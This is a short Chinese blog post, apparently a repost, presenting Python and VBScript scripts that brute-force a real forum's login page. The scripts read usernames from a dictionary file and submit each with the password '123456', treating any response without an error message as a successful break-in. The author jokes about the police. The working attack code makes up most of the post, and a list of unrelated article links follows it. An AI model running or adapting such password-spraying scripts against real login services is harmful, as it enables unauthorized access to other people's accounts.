Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
Python异常处理总结
Aug 15 Python
详解Python函数作用域的LEGB顺序
May 14 Python
手把手教你用python抢票回家过年(代码简单)
Jan 21 Python
Python合并多个Excel数据的方法
Jul 16 Python
对Pandas MultiIndex(多重索引)详解
Nov 16 Python
python 处理telnet返回的More,以及get想要的那个参数方法
Feb 14 Python
使用Python进行体育竞技分析(预测球队成绩)
May 16 Python
python算法题 链表反转详解
Jul 02 Python
python读写Excel表格的实例代码(简单实用)
Dec 19 Python
TensorFlow加载模型时出错的解决方式
Feb 06 Python
使用jupyter notebook直接打开.md格式的文件
Apr 10 Python
Python实现随机生成迷宫并自动寻路
Jun 13 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
PHP实现简单实用的验证码类
2015/07/29 PHP
基于php实现的验证码小程序
2016/12/13 PHP
js调用后台、后台调用前台等方法总结
2014/04/17 Javascript
Google 地图叠加层实例讲解
2016/08/06 Javascript
bootstrap提示标签、提示框实现代码
2016/12/28 Javascript
手把手教你把nodejs部署到linux上跑出hello world
2017/06/19 NodeJs
jQuery+C#实现参数RSA加密传输功能【附jsencrypt.js下载】
2017/06/26 jQuery
基于AngularJS的拖拽文件上传的实例代码
2017/07/15 Javascript
浅谈react 同构之样式直出
2017/11/07 Javascript
bootstrap fileinput插件实现预览上传照片功能
2018/01/23 Javascript
浅谈如何使用webpack构建多页面应用
2018/05/30 Javascript
JavaScript的词法结构精华篇
2018/10/17 Javascript
[03:03]2014DOTA2国际邀请赛 EG战队专访
2014/07/12 DOTA
Python实现抓取百度搜索结果页的网站标题信息
2015/01/22 Python
编写Python脚本抓取网络小说来制作自己的阅读器
2015/08/20 Python
python3.0 模拟用户登录,三次错误锁定的实例
2017/11/02 Python
ubuntu安装mysql pycharm sublime
2018/02/20 Python
对python制作自己的数据集实例讲解
2018/12/12 Python
Python为何不能用可变对象作为默认参数的值
2019/07/01 Python
python如何爬取网站数据并进行数据可视化
2019/07/08 Python
python selenium 查找隐藏元素 自动播放视频功能
2019/07/24 Python
Python模块_PyLibTiff读取tif文件的实例
2020/01/13 Python
加拿大领先的冒险和户外零售商:Atmosphere
2017/12/19 全球购物
墨西哥网上超市:Superama
2018/07/10 全球购物
生日邀请函范文
2014/01/13 职场文书
《跨越百年的美丽》教学反思
2014/02/11 职场文书
银行职员自我鉴定
2014/04/20 职场文书
淘宝店策划方案
2014/06/07 职场文书
小学生教师节演讲稿
2014/09/03 职场文书
爱护公共设施演讲稿
2014/09/13 职场文书
九寨沟导游词
2015/02/02 职场文书
2015年班干部工作总结
2015/04/29 职场文书
工作总结之小学教师体育工作范文(3篇)
2019/10/07 职场文书
python中urllib包的网络请求教程
2022/04/19 Python
pytest实现多进程与多线程运行超好用的插件
2022/07/15 Python
Nginx如何获取自定义请求header头和URL参数详解
2022/07/23 Servers